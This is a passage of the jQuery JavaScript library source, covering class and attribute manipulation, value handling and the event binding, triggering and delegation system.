		});
	},
	dequeue: function( type ) {
		return this.each(function() {
			jQuery.dequeue( this, type );
		});
	},
	// Based off of the plugin by Clint Helfers, with permission.
	// http://blindsignals.com/index.php/2009/07/jquery-delay/
	delay: function( time, type ) {
		time = jQuery.fx ? jQuery.fx.speeds[time] || time : time;
		type = type || "fx";
		return this.queue( type, function() {
			var elem = this;
			setTimeout(function() {
				jQuery.dequeue( elem, type );
			}, time );
		});
	},
	clearQueue: function( type ) {
		return this.queue( type || "fx", [] );
	}
});
var rclass = /[\n\t\r]/g,
	rspaces = /\s+/,
	rreturn = /\r/g,
	rspecialurl = /^(?:href|src|style)$/,
	rtype = /^(?:button|input)$/i,
	rfocusable = /^(?:button|input|object|select|textarea)$/i,
	rclickable = /^a(?:rea)?$/i,
	rradiocheck = /^(?:radio|checkbox)$/i;
jQuery.props = {
	"for": "htmlFor",
	"class": "className",
	readonly: "readOnly",
	maxlength: "maxLength",
	cellspacing: "cellSpacing",
	rowspan: "rowSpan",
	colspan: "colSpan",
	tabindex: "tabIndex",
	usemap: "useMap",
	frameborder: "frameBorder"
};
jQuery.fn.extend({
	attr: function( name, value ) {
		return jQuery.access( this, name, value, true, jQuery.attr );
	},
	removeAttr: function( name, fn ) {
		return this.each(function(){
			jQuery.attr( this, name, "" );
			if ( this.nodeType === 1 ) {
				this.removeAttribute( name );
			}
		});
	},
	addClass: function( value ) {
		if ( jQuery.isFunction(value) ) {
			return this.each(function(i) {
				var self = jQuery(this);
				self.addClass( value.call(this, i, self.attr("class")) );
			});
		}
		if ( value && typeof value === "string" ) {
			var classNames = (value || "").split( rspaces );
			for ( var i = 0, l = this.length; i < l; i++ ) {
				var elem = this[i];
				if ( elem.nodeType === 1 ) {
					if ( !elem.className ) {
						elem.className = value;
					} else {
						var className = " " + elem.className + " ",
							setClass = elem.className;
						for ( var c = 0, cl = classNames.length; c < cl; c++ ) {
							if ( className.indexOf( " " + classNames[c] + " " ) < 0 ) {
								setClass += " " + classNames[c];
							}
						}
						elem.className = jQuery.trim( setClass );
					}
				}
			}
		}
		return this;
	},
	removeClass: function( value ) {
		if ( jQuery.isFunction(value) ) {
			return this.each(function(i) {
				var self = jQuery(this);
				self.removeClass( value.call(this, i, self.attr("class")) );
			});
		}
		if ( (value && typeof value === "string") || value === undefined ) {
			var classNames = (value || "").split( rspaces );
			for ( var i = 0, l = this.length; i < l; i++ ) {
				var elem = this[i];
				if ( elem.nodeType === 1 && elem.className ) {
					if ( value ) {
						var className = (" " + elem.className + " ").replace(rclass, " ");
						for ( var c = 0, cl = classNames.length; c < cl; c++ ) {
							className = className.replace(" " + classNames[c] + " ", " ");
						}
						elem.className = jQuery.trim( className );
					} else {
						elem.className = "";
					}
				}
			}
		}
		return this;
	},
	toggleClass: function( value, stateVal ) {
		var type = typeof value,
			isBool = typeof stateVal === "boolean";
		if ( jQuery.isFunction( value ) ) {
			return this.each(function(i) {
				var self = jQuery(this);
				self.toggleClass( value.call(this, i, self.attr("class"), stateVal), stateVal );
			});
		}
		return this.each(function() {
			if ( type === "string" ) {
				// toggle individual class names
				var className,
					i = 0,
					self = jQuery( this ),
					state = stateVal,
					classNames = value.split( rspaces );
				while ( (className = classNames[ i++ ]) ) {
					// check each className given, space seperated list
					state = isBool ? state : !self.hasClass( className );
					self[ state ? "addClass" : "removeClass" ]( className );
				}
			} else if ( type === "undefined" || type === "boolean" ) {
				if ( this.className ) {
					// store className if set
					jQuery._data( this, "__className__", this.className );
				}
				// toggle whole className
				this.className = this.className || value === false ? "" : jQuery._data( this, "__className__" ) || "";
			}
		});
	},
	hasClass: function( selector ) {
		var className = " " + selector + " ";
		for ( var i = 0, l = this.length; i < l; i++ ) {
			if ( (" " + this[i].className + " ").replace(rclass, " ").indexOf( className ) > -1 ) {
				return true;
			}
		}
		return false;
	},
	val: function( value ) {
		if ( !arguments.length ) {
			var elem = this[0];
			if ( elem ) {
				if ( jQuery.nodeName( elem, "option" ) ) {
					// attributes.value is undefined in Blackberry 4.7 but
					// uses .value. See #6932
					var val = elem.attributes.value;
					return !val || val.specified ? elem.value : elem.text;
				}
				// We need to handle select boxes special
				if ( jQuery.nodeName( elem, "select" ) ) {
					var index = elem.selectedIndex,
						values = [],
						options = elem.options,
						one = elem.type === "select-one";
					// Nothing was selected
					if ( index < 0 ) {
						return null;
					}
					// Loop through all the selected options
					for ( var i = one ? index : 0, max = one ? index + 1 : options.length; i < max; i++ ) {
						var option = options[ i ];
						// Don't return options that are disabled or in a disabled optgroup
						if ( option.selected && (jQuery.support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null) &&
								(!option.parentNode.disabled || !jQuery.nodeName( option.parentNode, "optgroup" )) ) {
							// Get the specific value for the option
							value = jQuery(option).val();
							// We don't need an array for one selects
							if ( one ) {
								return value;
							}
							// Multi-Selects return an array
							values.push( value );
						}
					}
					// Fixes Bug #2551 -- select.val() broken in IE after form.reset()
					if ( one && !values.length && options.length ) {
						return jQuery( options[ index ] ).val();
					}
					return values;
				}
				// Handle the case where in Webkit "" is returned instead of "on" if a value isn't specified
				if ( rradiocheck.test( elem.type ) && !jQuery.support.checkOn ) {
					return elem.getAttribute("value") === null ? "on" : elem.value;
				}
				// Everything else, we just grab the value
				return (elem.value || "").replace(rreturn, "");
			}
			return undefined;
		}
		var isFunction = jQuery.isFunction(value);
		return this.each(function(i) {
			var self = jQuery(this), val = value;
			if ( this.nodeType !== 1 ) {
				return;
			}
			if ( isFunction ) {
				val = value.call(this, i, self.val());
			}
			// Treat null/undefined as ""; convert numbers to string
			if ( val == null ) {
				val = "";
			} else if ( typeof val === "number" ) {
				val += "";
			} else if ( jQuery.isArray(val) ) {
				val = jQuery.map(val, function (value) {
					return value == null ? "" : value + "";
				});
			}
			if ( jQuery.isArray(val) && rradiocheck.test( this.type ) ) {
				this.checked = jQuery.inArray( self.val(), val ) >= 0;
			} else if ( jQuery.nodeName( this, "select" ) ) {
				var values = jQuery.makeArray(val);
				jQuery( "option", this ).each(function() {
					this.selected = jQuery.inArray( jQuery(this).val(), values ) >= 0;
				});
				if ( !values.length ) {
					this.selectedIndex = -1;
				}
			} else {
				this.value = val;
			}
		});
	}
});
jQuery.extend({
	attrFn: {
		val: true,
		css: true,
		html: true,
		text: true,
		data: true,
		width: true,
		height: true,
		offset: true
	},
	attr: function( elem, name, value, pass ) {
		// don't get/set attributes on text, comment and attribute nodes
		if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || elem.nodeType === 2 ) {
			return undefined;
		}
		if ( pass && name in jQuery.attrFn ) {
			return jQuery(elem)[name](value);
		}
		var notxml = elem.nodeType !== 1 || !jQuery.isXMLDoc( elem ),
			// Whether we are setting (or getting)
			set = value !== undefined;
		// Try to normalize/fix the name
		name = notxml && jQuery.props[ name ] || name;
		// Only do all the following if this is a node (faster for style)
		if ( elem.nodeType === 1 ) {
			// These attributes require special treatment
			var special = rspecialurl.test( name );
			// Safari mis-reports the default selected property of an option
			// Accessing the parent's selectedIndex property fixes it
			if ( name === "selected" && !jQuery.support.optSelected ) {
				var parent = elem.parentNode;
				if ( parent ) {
					parent.selectedIndex;
					// Make sure that it also works with optgroups, see #5701
					if ( parent.parentNode ) {
						parent.parentNode.selectedIndex;
					}
				}
			}
			// If applicable, access the attribute via the DOM 0 way
			// 'in' checks fail in Blackberry 4.7 #6931
			if ( (name in elem || elem[ name ] !== undefined) && notxml && !special ) {
				if ( set ) {
					// We can't allow the type property to be changed (since it causes problems in IE)
					if ( name === "type" && rtype.test( elem.nodeName ) && elem.parentNode ) {
						jQuery.error( "type property can't be changed" );
					}
					if ( value === null ) {
						if ( elem.nodeType === 1 ) {
							elem.removeAttribute( name );
						}
					} else {
						elem[ name ] = value;
					}
				}
				// browsers index elements by id/name on forms, give priority to attributes.
				if ( jQuery.nodeName( elem, "form" ) && elem.getAttributeNode(name) ) {
					return elem.getAttributeNode( name ).nodeValue;
				}
				// elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set
				// http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/
				if ( name === "tabIndex" ) {
					var attributeNode = elem.getAttributeNode( "tabIndex" );
					return attributeNode && attributeNode.specified ?
						attributeNode.value :
						rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ?
							0 :
							undefined;
				}
				return elem[ name ];
			}
			if ( !jQuery.support.style && notxml && name === "style" ) {
				if ( set ) {
					elem.style.cssText = "" + value;
				}
				return elem.style.cssText;
			}
			if ( set ) {
				// convert the value to a string (all browsers do this but IE) see #1070
				elem.setAttribute( name, "" + value );
			}
			// Ensure that missing attributes return undefined
			// Blackberry 4.7 returns "" from getAttribute #6938
			if ( !elem.attributes[ name ] && (elem.hasAttribute && !elem.hasAttribute( name )) ) {
				return undefined;
			}
			var attr = !jQuery.support.hrefNormalized && notxml && special ?
					// Some attributes require a special call on IE
					elem.getAttribute( name, 2 ) :
					elem.getAttribute( name );
			// Non-existent attributes return null, we normalize to undefined
			return attr === null ? undefined : attr;
		}
		// Handle everything which isn't a DOM element node
		if ( set ) {
			elem[ name ] = value;
		}
		return elem[ name ];
	}
});
var rnamespaces = /\.(.*)$/,
	rformElems = /^(?:textarea|input|select)$/i,
	rperiod = /\./g,
	rspace = / /g,
	rescape = /[^\w\s.|`]/g,
	fcleanup = function( nm ) {
		return nm.replace(rescape, "\\$&");
	};
/*
 * A number of helper functions used for managing events.
 * Many of the ideas behind this code originated from
 * Dean Edwards' addEvent library.
 */
jQuery.event = {
	// Bind an event to an element
	// Original by Dean Edwards
	add: function( elem, types, handler, data ) {
		if ( elem.nodeType === 3 || elem.nodeType === 8 ) {
			return;
		}
		// TODO :: Use a try/catch until it's safe to pull this out (likely 1.6)
		// Minor release fix for bug #8018
		try {
			// For whatever reason, IE has trouble passing the window object
			// around, causing it to be cloned in the process
			if ( jQuery.isWindow( elem ) && ( elem !== window && !elem.frameElement ) ) {
				elem = window;
			}
		}
		catch ( e ) {}
		if ( handler === false ) {
			handler = returnFalse;
		} else if ( !handler ) {
			// Fixes bug #7229. Fix recommended by jdalton
			return;
		}
		var handleObjIn, handleObj;
		if ( handler.handler ) {
			handleObjIn = handler;
			handler = handleObjIn.handler;
		}
		// Make sure that the function being executed has a unique ID
		if ( !handler.guid ) {
			handler.guid = jQuery.guid++;
		}
		// Init the element's event structure
		var elemData = jQuery._data( elem );
		// If no elemData is found then we must be trying to bind to one of the
		// banned noData elements
		if ( !elemData ) {
			return;
		}
		var events = elemData.events,
			eventHandle = elemData.handle;
		if ( !events ) {
			elemData.events = events = {};
		}
		if ( !eventHandle ) {
			elemData.handle = eventHandle = function( e ) {
				// Handle the second event of a trigger and when
				// an event is called after a page has unloaded
				return typeof jQuery !== "undefined" && jQuery.event.triggered !== e.type ?
					jQuery.event.handle.apply( eventHandle.elem, arguments ) :
					undefined;
			};
		}
		// Add elem as a property of the handle function
		// This is to prevent a memory leak with non-native events in IE.
		eventHandle.elem = elem;
		// Handle multiple events separated by a space
		// jQuery(...).bind("mouseover mouseout", fn);
		types = types.split(" ");
		var type, i = 0, namespaces;
		while ( (type = types[ i++ ]) ) {
			handleObj = handleObjIn ?
				jQuery.extend({}, handleObjIn) :
				{ handler: handler, data: data };
			// Namespaced event handlers
			if ( type.indexOf(".") > -1 ) {
				namespaces = type.split(".");
				type = namespaces.shift();
				handleObj.namespace = namespaces.slice(0).sort().join(".");
			} else {
				namespaces = [];
				handleObj.namespace = "";
			}
			handleObj.type = type;
			if ( !handleObj.guid ) {
				handleObj.guid = handler.guid;
			}
			// Get the current list of functions bound to this event
			var handlers = events[ type ],
				special = jQuery.event.special[ type ] || {};
			// Init the event handler queue
			if ( !handlers ) {
				handlers = events[ type ] = [];
				// Check for a special event handler
				// Only use addEventListener/attachEvent if the special
				// events handler returns false
				if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) {
					// Bind the global event handler to the element
					if ( elem.addEventListener ) {
						elem.addEventListener( type, eventHandle, false );
					} else if ( elem.attachEvent ) {
						elem.attachEvent( "on" + type, eventHandle );
					}
				}
			}
			if ( special.add ) {
				special.add.call( elem, handleObj );
				if ( !handleObj.handler.guid ) {
					handleObj.handler.guid = handler.guid;
				}
			}
			// Add the function to the element's handler list
			handlers.push( handleObj );
			// Keep track of which events have been used, for global triggering
			jQuery.event.global[ type ] = true;
		}
		// Nullify elem to prevent memory leaks in IE
		elem = null;
	},
	global: {},
	// Detach an event or set of events from an element
	remove: function( elem, types, handler, pos ) {
		// don't do events on text and comment nodes
		if ( elem.nodeType === 3 || elem.nodeType === 8 ) {
			return;
		}
		if ( handler === false ) {
			handler = returnFalse;
		}
		var ret, type, fn, j, i = 0, all, namespaces, namespace, special, eventType, handleObj, origType,
			elemData = jQuery.hasData( elem ) && jQuery._data( elem ),
			events = elemData && elemData.events;
		if ( !elemData || !events ) {
			return;
		}
		// types is actually an event object here
		if ( types && types.type ) {
			handler = types.handler;
			types = types.type;
		}
		// Unbind all events for the element
		if ( !types || typeof types === "string" && types.charAt(0) === "." ) {
			types = types || "";
			for ( type in events ) {
				jQuery.event.remove( elem, type + types );
			}
			return;
		}
		// Handle multiple events separated by a space
		// jQuery(...).unbind("mouseover mouseout", fn);
		types = types.split(" ");
		while ( (type = types[ i++ ]) ) {
			origType = type;
			handleObj = null;
			all = type.indexOf(".") < 0;
			namespaces = [];
			if ( !all ) {
				// Namespaced event handlers
				namespaces = type.split(".");
				type = namespaces.shift();
				namespace = new RegExp("(^|\\.)" +
					jQuery.map( namespaces.slice(0).sort(), fcleanup ).join("\\.(?:.*\\.)?") + "(\\.|$)");
			}
			eventType = events[ type ];
			if ( !eventType ) {
				continue;
			}
			if ( !handler ) {
				for ( j = 0; j < eventType.length; j++ ) {
					handleObj = eventType[ j ];
					if ( all || namespace.test( handleObj.namespace ) ) {
						jQuery.event.remove( elem, origType, handleObj.handler, j );
						eventType.splice( j--, 1 );
					}
				}
				continue;
			}
			special = jQuery.event.special[ type ] || {};
			for ( j = pos || 0; j < eventType.length; j++ ) {
				handleObj = eventType[ j ];
				if ( handler.guid === handleObj.guid ) {
					// remove the given handler for the given type
					if ( all || namespace.test( handleObj.namespace ) ) {
						if ( pos == null ) {
							eventType.splice( j--, 1 );
						}
						if ( special.remove ) {
							special.remove.call( elem, handleObj );
						}
					}
					if ( pos != null ) {
						break;
					}
				}
			}
			// remove generic event handler if no more handlers exist
			if ( eventType.length === 0 || pos != null && eventType.length === 1 ) {
				if ( !special.teardown || special.teardown.call( elem, namespaces ) === false ) {
					jQuery.removeEvent( elem, type, elemData.handle );
				}
				ret = null;
				delete events[ type ];
			}
		}
		// Remove the expando if it's no longer used
		if ( jQuery.isEmptyObject( events ) ) {
			var handle = elemData.handle;
			if ( handle ) {
				handle.elem = null;
			}
			delete elemData.events;
			delete elemData.handle;
			if ( jQuery.isEmptyObject( elemData ) ) {
				jQuery.removeData( elem, undefined, true );
			}
		}
	},
	// bubbling is internal
	trigger: function( event, data, elem /*, bubbling */ ) {
		// Event object or event type
		var type = event.type || event,
			bubbling = arguments[3];
		if ( !bubbling ) {
			event = typeof event === "object" ?
				// jQuery.Event object
				event[ jQuery.expando ] ? event :
				// Object literal
				jQuery.extend( jQuery.Event(type), event ) :
				// Just the event type (string)
				jQuery.Event(type);
			if ( type.indexOf("!") >= 0 ) {
				event.type = type = type.slice(0, -1);
				event.exclusive = true;
			}
			// Handle a global trigger
			if ( !elem ) {
				// Don't bubble custom events when global (to avoid too much overhead)
				event.stopPropagation();
				// Only trigger if we've ever bound an event for it
				if ( jQuery.event.global[ type ] ) {
					// XXX This code smells terrible. event.js should not be directly
					// inspecting the data cache
					jQuery.each( jQuery.cache, function() {
						// internalKey variable is just used to make it easier to find
						// and potentially change this stuff later; currently it just
						// points to jQuery.expando
						var internalKey = jQuery.expando,
							internalCache = this[ internalKey ];
						if ( internalCache && internalCache.events && internalCache.events[ type ] ) {
							jQuery.event.trigger( event, data, internalCache.handle.elem );
						}
					});
				}
			}
			// Handle triggering a single element
			// don't do events on text and comment nodes
			if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 ) {
				return undefined;
			}
			// Clean up in case it is reused
			event.result = undefined;
			event.target = elem;
			// Clone the incoming data, if any
			data = jQuery.makeArray( data );
			data.unshift( event );
		}
		event.currentTarget = elem;
		// Trigger the event, it is assumed that "handle" is a function
		var handle = jQuery._data( elem, "handle" );
		if ( handle ) {
			handle.apply( elem, data );
		}
		var parent = elem.parentNode || elem.ownerDocument;
		// Trigger an inline bound script
		try {
			if ( !(elem && elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()]) ) {
				if ( elem[ "on" + type ] && elem[ "on" + type ].apply( elem, data ) === false ) {
					event.result = false;
					event.preventDefault();
				}
			}
		// prevent IE from throwing an error for some elements with some event types, see #3533
		} catch (inlineError) {}
		if ( !event.isPropagationStopped() && parent ) {
			jQuery.event.trigger( event, data, parent, true );
		} else if ( !event.isDefaultPrevented() ) {
			var old,
				target = event.target,
				targetType = type.replace( rnamespaces, "" ),
				isClick = jQuery.nodeName( target, "a" ) && targetType === "click",
				special = jQuery.event.special[ targetType ] || {};
			if ( (!special._default || special._default.call( elem, event ) === false) &&
				!isClick && !(target && target.nodeName && jQuery.noData[target.nodeName.toLowerCase()]) ) {
				try {
					if ( target[ targetType ] ) {
						// Make sure that we don't accidentally re-trigger the onFOO events
						old = target[ "on" + targetType ];
						if ( old ) {
							target[ "on" + targetType ] = null;
						}
						jQuery.event.triggered = event.type;
						target[ targetType ]();
					}
				// prevent IE from throwing an error for some elements with some event types, see #3533
				} catch (triggerError) {}
				if ( old ) {
					target[ "on" + targetType ] = old;
				}
				jQuery.event.triggered = undefined;
			}
		}
	},
	handle: function( event ) {
		var all, handlers, namespaces, namespace_re, events,
			namespace_sort = [],
			args = jQuery.makeArray( arguments );
		event = args[0] = jQuery.event.fix( event || window.event );
		event.currentTarget = this;
		// Namespaced event handlers
		all = event.type.indexOf(".") < 0 && !event.exclusive;
		if ( !all ) {
			namespaces = event.type.split(".");
			event.type = namespaces.shift();
			namespace_sort = namespaces.slice(0).sort();
			namespace_re = new RegExp("(^|\\.)" + namespace_sort.join("\\.(?:.*\\.)?") + "(\\.|$)");
		}
		event.namespace = event.namespace || namespace_sort.join(".");
		events = jQuery._data(this, "events");
		handlers = (events || {})[ event.type ];
		if ( events && handlers ) {
			// Clone the handlers to prevent manipulation
			handlers = handlers.slice(0);
			for ( var j = 0, l = handlers.length; j < l; j++ ) {
				var handleObj = handlers[ j ];
				// Filter the functions by class
				if ( all || namespace_re.test( handleObj.namespace ) ) {
					// Pass in a reference to the handler function itself
					// So that we can later remove it
					event.handler = handleObj.handler;
					event.data = handleObj.data;
					event.handleObj = handleObj;
					var ret = handleObj.handler.apply( this, args );
					if ( ret !== undefined ) {
						event.result = ret;
						if ( ret === false ) {
							event.preventDefault();
							event.stopPropagation();
						}
					}
					if ( event.isImmediatePropagationStopped() ) {
						break;
					}
				}
			}
		}
		return event.result;
	},
	props: "altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),
	fix: function( event ) {
		if ( event[ jQuery.expando ] ) {
			return event;
		}
		// store a copy of the original event object
		// and "clone" to set read-only properties
		var originalEvent = event;
		event = jQuery.Event( originalEvent );
		for ( var i = this.props.length, prop; i; ) {
			prop = this.props[ --i ];
			event[ prop ] = originalEvent[ prop ];
		}
		// Fix target property, if necessary
		if ( !event.target ) {
			// Fixes #1925 where srcElement might not be defined either
			event.target = event.srcElement || document;
		}
		// check if target is a textnode (safari)
		if ( event.target.nodeType === 3 ) {
			event.target = event.target.parentNode;
		}
		// Add relatedTarget, if necessary
		if ( !event.relatedTarget && event.fromElement ) {
			event.relatedTarget = event.fromElement === event.target ? event.toElement : event.fromElement;
		}
		// Calculate pageX/Y if missing and clientX/Y available
		if ( event.pageX == null && event.clientX != null ) {
			var doc = document.documentElement,
				body = document.body;
			event.pageX = event.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0);
			event.pageY = event.clientY + (doc && doc.scrollTop  || body && body.scrollTop  || 0) - (doc && doc.clientTop  || body && body.clientTop  || 0);
		}
		// Add which for key events
		if ( event.which == null && (event.charCode != null || event.keyCode != null) ) {
			event.which = event.charCode != null ? event.charCode : event.keyCode;
		}
		// Add metaKey to non-Mac browsers (use ctrl for PC's and Meta for Macs)
		if ( !event.metaKey && event.ctrlKey ) {
			event.metaKey = event.ctrlKey;
		}
		// Add which for click: 1 === left; 2 === middle; 3 === right
		// Note: button is not normalized, so don't use it
		if ( !event.which && event.button !== undefined ) {
			event.which = (event.button & 1 ? 1 : ( event.button & 2 ? 3 : ( event.button & 4 ? 2 : 0 ) ));
		}
		return event;
	},
	// Deprecated, use jQuery.guid instead
	guid: 1E8,
	// Deprecated, use jQuery.proxy instead
	proxy: jQuery.proxy,
	special: {
		ready: {
			// Make sure the ready event is setup
			setup: jQuery.bindReady,
			teardown: jQuery.noop
		},
		live: {
			add: function( handleObj ) {
				jQuery.event.add( this,
					liveConvert( handleObj.origType, handleObj.selector ),
					jQuery.extend({}, handleObj, {handler: liveHandler, guid: handleObj.handler.guid}) );
			},
			remove: function( handleObj ) {
				jQuery.event.remove( this, liveConvert( handleObj.origType, handleObj.selector ), handleObj );
			}
		},
		beforeunload: {
			setup: function( data, namespaces, eventHandle ) {
				// We only want to do this special case on windows
				if ( jQuery.isWindow( this ) ) {
					this.onbeforeunload = eventHandle;
				}
			},
			teardown: function( namespaces, eventHandle ) {
				if ( this.onbeforeunload === eventHandle ) {
					this.onbeforeunload = null;
				}
			}
		}
	}
};
jQuery.removeEvent = document.removeEventListener ?
	function( elem, type, handle ) {
		if ( elem.removeEventListener ) {
			elem.removeEventListener( type, handle, false );
		}
	} :
	function( elem, type, handle ) {
		if ( elem.detachEvent ) {
			elem.detachEvent( "on" + type, handle );
		}
	};
jQuery.Event = function( src ) {
	// Allow instantiation without the 'new' keyword
	if ( !this.preventDefault ) {
		return new jQuery.Event( src );
	}
	// Event object
	if ( src && src.type ) {
		this.originalEvent = src;
		this.type = src.type;
		// Events bubbling up the document may have been marked as prevented
		// by a handler lower down the tree; reflect the correct value.
		this.isDefaultPrevented = (src.defaultPrevented || src.returnValue === false ||
			src.getPreventDefault && src.getPreventDefault()) ? returnTrue : returnFalse;
	// Event type
	} else {
		this.type = src;
	}
	// timeStamp is buggy for some events on Firefox(#3843)
	// So we won't rely on the native value
	this.timeStamp = jQuery.now();
	// Mark it as fixed
	this[ jQuery.expando ] = true;
};
function returnFalse() {
	return false;
}
function returnTrue() {
	return true;
}
// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding
// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html
jQuery.Event.prototype = {
	preventDefault: function() {
		this.isDefaultPrevented = returnTrue;
		var e = this.originalEvent;
		if ( !e ) {
			return;
		}
		// if preventDefault exists run it on the original event
		if ( e.preventDefault ) {
			e.preventDefault();
		// otherwise set the returnValue property of the original event to false (IE)
		} else {
			e.returnValue = false;
		}
	},
	stopPropagation: function() {
		this.isPropagationStopped = returnTrue;
		var e = this.originalEvent;
		if ( !e ) {
			return;
		}
		// if stopPropagation exists run it on the original event
		if ( e.stopPropagation ) {
			e.stopPropagation();
		}
		// otherwise set the cancelBubble property of the original event to true (IE)
		e.cancelBubble = true;
	},
	stopImmediatePropagation: function() {
		this.isImmediatePropagationStopped = returnTrue;
		this.stopPropagation();
	},
	isDefaultPrevented: returnFalse,
	isPropagationStopped: returnFalse,
	isImmediatePropagationStopped: returnFalse
};
// Checks if an event happened on an element within another element
// Used in jQuery.event.special.mouseenter and mouseleave handlers
var withinElement = function( event ) {
	// Check if mouse(over|out) are still within the same parent element
	var parent = event.relatedTarget;
	// Firefox sometimes assigns relatedTarget a XUL element
	// which we cannot access the parentNode property of
	try {
		// Chrome does something similar, the parentNode property
		// can be accessed but is null.
		if ( parent && parent !== document && !parent.parentNode ) {
			return;
		}
		// Traverse up the tree
		while ( parent && parent !== this ) {
			parent = parent.parentNode;
		}
		if ( parent !== this ) {
			// set the correct event type
			event.type = event.data;
			// handle event if we actually just moused on to a non sub-element
			jQuery.event.handle.apply( this, arguments );
		}
	// assuming we've left the element since we most likely mousedover a xul element
	} catch(e) { }
},
// In case of event delegation, we only need to rename the event.type,
// liveHandler will take care of the rest.
delegate = function( event ) {
	event.type = event.data;
	jQuery.event.handle.apply( this, arguments );
};
// Create mouseenter and mouseleave events
jQuery.each({
	mouseenter: "mouseover",
	mouseleave: "mouseout"
}, function( orig, fix ) {
	jQuery.event.special[ orig ] = {
		setup: function( data ) {
			jQuery.event.add( this, fix, data && data.selector ? delegate : withinElement, orig );
		},
		teardown: function( data ) {
			jQuery.event.remove( this, fix, data && data.selector ? delegate : withinElement );
		}
	};
});
// submit delegation
if ( !jQuery.support.submitBubbles ) {
	jQuery.event.special.submit = {
		setup: function( data, namespaces ) {
			if ( this.nodeName && this.nodeName.toLowerCase() !== "form" ) {
				jQuery.event.add(this, "click.specialSubmit", function( e ) {
					var elem = e.target,
						type = elem.type;
					if ( (type === "submit" || type === "image") && jQuery( elem ).closest("form").length ) {
						trigger( "submit", this, arguments );
					}
				});
				jQuery.event.add(this, "keypress.specialSubmit", function( e ) {
					var elem = e.target,
						type = elem.type;
					if ( (type === "text" || type === "password") && jQuery( elem ).closest("form").length && e.keyCode === 13 ) {
						trigger( "submit", this, arguments );
					}
				});
			} else {
				return false;
			}
		},
		teardown: function( namespaces ) {
			jQuery.event.remove( this, ".specialSubmit" );
		}
	};
}
// change delegation, happens here so we have bind.
if ( !jQuery.support.changeBubbles ) {
	var changeFilters,
	getVal = function( elem ) {
		var type = elem.type, val = elem.value;
		if ( type === "radio" || type === "checkbox" ) {
			val = elem.checked;
		} else if ( type === "select-multiple" ) {
			val = elem.selectedIndex > -1 ?
				jQuery.map( elem.options, function( elem ) {
					return elem.selected;
				}).join("-") :
				"";
		} else if ( elem.nodeName.toLowerCase() === "select" ) {
			val = elem.selectedIndex;
		}
		return val;
	},
	testChange = function testChange( e ) {
		var elem = e.target, data, val;
		if ( !rformElems.test( elem.nodeName ) || elem.readOnly ) {
			return;
		}
		data = jQuery._data( elem, "_change_data" );
		val = getVal(elem);
		// the current data will be also retrieved by beforeactivate
		if ( e.type !== "focusout" || elem.type !== "radio" ) {
			jQuery._data( elem, "_change_data", val );
		}
		if ( data === undefined || val === data ) {
			return;
		}
		if ( data != null || val ) {
			e.type = "change";
			e.liveFired = undefined;
			jQuery.event.trigger( e, arguments[1], elem );
		}
	};
	jQuery.event.special.change = {
		filters: {
			focusout: testChange,
			beforedeactivate: testChange,
			click: function( e ) {
				var elem = e.target, type = elem.type;
				if ( type === "radio" || type === "checkbox" || elem.nodeName.toLowerCase() === "select" ) {
					testChange.call( this, e );
				}
			},
			// Change has to be called before submit
			// Keydown will be called before keypress, which is used in submit-event delegation
			keydown: function( e ) {
				var elem = e.target, type = elem.type;
				if ( (e.keyCode === 13 && elem.nodeName.toLowerCase() !== "textarea") ||
					(e.keyCode === 32 && (type === "checkbox" || type === "radio")) ||
					type === "select-multiple" ) {
					testChange.call( this, e );
				}
			},
			// Beforeactivate happens also before the previous element is blurred
			// with this event you can't trigger a change event, but you can store
			// information
			beforeactivate: function( e ) {
				var elem = e.target;
				jQuery._data( elem, "_change_data", getVal(elem) );
			}
		},
		setup: function( data, namespaces ) {
			if ( this.type === "file" ) {
				return false;
			}
			for ( var type in changeFilters ) {
				jQuery.event.add( this, type + ".specialChange", changeFilters[type] );
			}
			return rformElems.test( this.nodeName );
		},
		teardown: function( namespaces ) {
			jQuery.event.remove( this, ".specialChange" );
			return rformElems.test( this.nodeName );
		}
	};
	changeFilters = jQuery.event.special.change.filters;
	// Handle when the input is .focus()'d
	changeFilters.focus = changeFilters.beforeactivate;
}
function trigger( type, elem, args ) {
	// Piggyback on a donor event to simulate a different one.
	// Fake originalEvent to avoid donor's stopPropagation, but if the
	// simulated event prevents default then we do the same on the donor.
	// Don't pass args or remember liveFired; they apply to the donor event.
	var event = jQuery.extend( {}, args[ 0 ] );
	event.type = type;
	event.originalEvent = {};
	event.liveFired = undefined;
	jQuery.event.handle.call( elem, event );
	if ( event.isDefaultPrevented() ) {
		args[ 0 ].preventDefault();
	}
}
// Create "bubbling" focus and blur events
if ( document.addEventListener ) {
	jQuery.each({ focus: "focusin", blur: "focusout" }, function( orig, fix ) {
	
		// Attach a single capturing handler while someone wants focusin/focusout
		var attaches = 0;
		
		jQuery.event.special[ fix ] = {
			setup: function() {
				if ( attaches++ === 0 ) {
					document.addEventListener( orig, handler, true );
				}
			},
			teardown: function() {
				if ( --attaches === 0 ) {
					document.removeEventListener( orig, handler, true );
				}
			}
		};
		function handler( donor ) {
			// Donor event is always a native one; fix it and switch its type.
			// Let focusin/out handler cancel the donor focus/blur event.
			var e = jQuery.event.fix( donor );
			e.type = fix;
			e.originalEvent = {};
			jQuery.event.trigger( e, null, e.target );
			if ( e.isDefaultPrevented() ) {
				donor.preventDefault();
			}
		}
	});
}
jQuery.each(["bind", "one"], function( i, name ) {
	jQuery.fn[ name ] = function( type, data, fn ) {
		// Handle object literals
		if ( typeof type === "object" ) {
			for ( var key in type ) {
				this[ name ](key, data, type[key], fn);
			}
			return this;
		}
		if ( jQuery.isFunction( data ) || data === false ) {
			fn = data;
			data = undefined;
		}
		var handler = name === "one" ? jQuery.proxy( fn, function( event ) {
